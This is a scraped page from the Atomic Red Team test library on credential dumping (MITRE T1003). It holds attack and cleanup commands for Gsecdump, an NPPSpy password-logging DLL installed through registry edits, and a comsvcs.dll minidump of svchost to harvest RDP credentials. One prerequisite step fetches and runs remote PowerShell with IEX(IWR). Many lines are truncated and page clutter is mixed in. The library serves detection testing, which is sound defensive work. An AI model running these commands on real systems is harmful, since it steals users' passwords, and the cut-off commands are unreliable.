

tomic-red-team / atomics / T1	· —		~ .
Atomic Red Team doc genera	at Generated docs from job=generate-d	ebfc287 · 2 years ago	History
Preview Code Blame 1	.75 lines (105 loc) · 6.48 KB	Raw	<b>♣</b> :≡

Q

Fork 2.8k

Sign in

Sign up

Star 9.7k

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement] (https://attack.mitre.org/tactics/TA0008) and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as

- Atomic Test #3 Dump svchost.exe to gather RDP credentials

Dump credentials from memory using Gsecdump.

Upon successful execution, you should see domain\username's followed by two 32

If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. You will receive only error output if you do not run this test

If you see a message saying "The system cannot find the path specified", try using the getprereq\_commands to download and install Gsecdump first.

auto\_generated\_guid: 96345bfc-8ae7-4b6a-80b7-223200f24ef9

Name	Description	Type	
gsecdump_exe	Path to the Gsecdump executable	Path	PathToAtomicsFolder\T1003\bin\gsecdu

>	T1036.006
>	T1036
>	T1037.001
>	T1037.002
>	T1037.004

T1037.005

gsecdump_bin_hash	File hash of the Gsecdump binary file	String	94CAE63DCBABB71C5DD43F55FD09C/
gsecdump_url	Path to download Gsecdump binary file	Url	https://web.archive.org/web/201506060v2b5.exe

Attack Commands: Run with command\_prompt! Elevation Required (e.g. root or admin)

```
#{gsecdump_exe} -a
```

Dependencies: Run with powershell!

Description: Gsecdump must exist on disk at specified location (#{gsecdump\_exe})

Check Prereq Commands:

```
if (Test-Path #{gsecdump_exe}) {exit 0} else {exit 1}
```

**Get Prereq Commands:** 

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
$parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsec
IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredt
if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_b
    Move-Item $binpath "#{gsecdump_exe}"
}
```

## Atomic Test #2 - Credential Dumping with NPPSpy

Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy. After user's logging in cleartext password is saved in C:\NPPSpy.txt. Clean up deletes the files and reverses Registry changes. NPPSpy Source:

https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy

Supported Platforms: Windows

auto\_generated\_guid: 9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

```
Copy-Item "$env:Temp\NPPSPY.dll" -Destination "C:\Windows\System32"

$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\N

$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"

Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $Update

$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -Err

$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\Netw

$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPS

$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPS
```

## **Cleanup Commands:**

```
Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDER" -Value Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy" -Recu Remove-Item C:\NPPSpy.txt -ErrorAction Ignore Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore
```

Dependencies: Run with powershell!

Description: NPPSpy.dll must be available in local temp directory

**Check Prereq Commands:** 

```
if (Test-Path "$env:Temp\NPPSPY.dll") {exit 0} else {exit 1}
```

**Get Prereq Commands:** 

## Atomic Test #3 - Dump svchost.exe to gather RDP credentials

The svchost.exe contains the RDP plain-text credentials. Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

Upon successful execution, you should see the following file created \$env:TEMP\svchost-exe.dmp.

Supported Platforms: Windows

auto\_generated\_guid: d400090a-d8ca-4be0-982e-c70598a23de9

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

```
$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAct
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0]
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDu
```

## **Cleanup Commands:**

```
Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore
```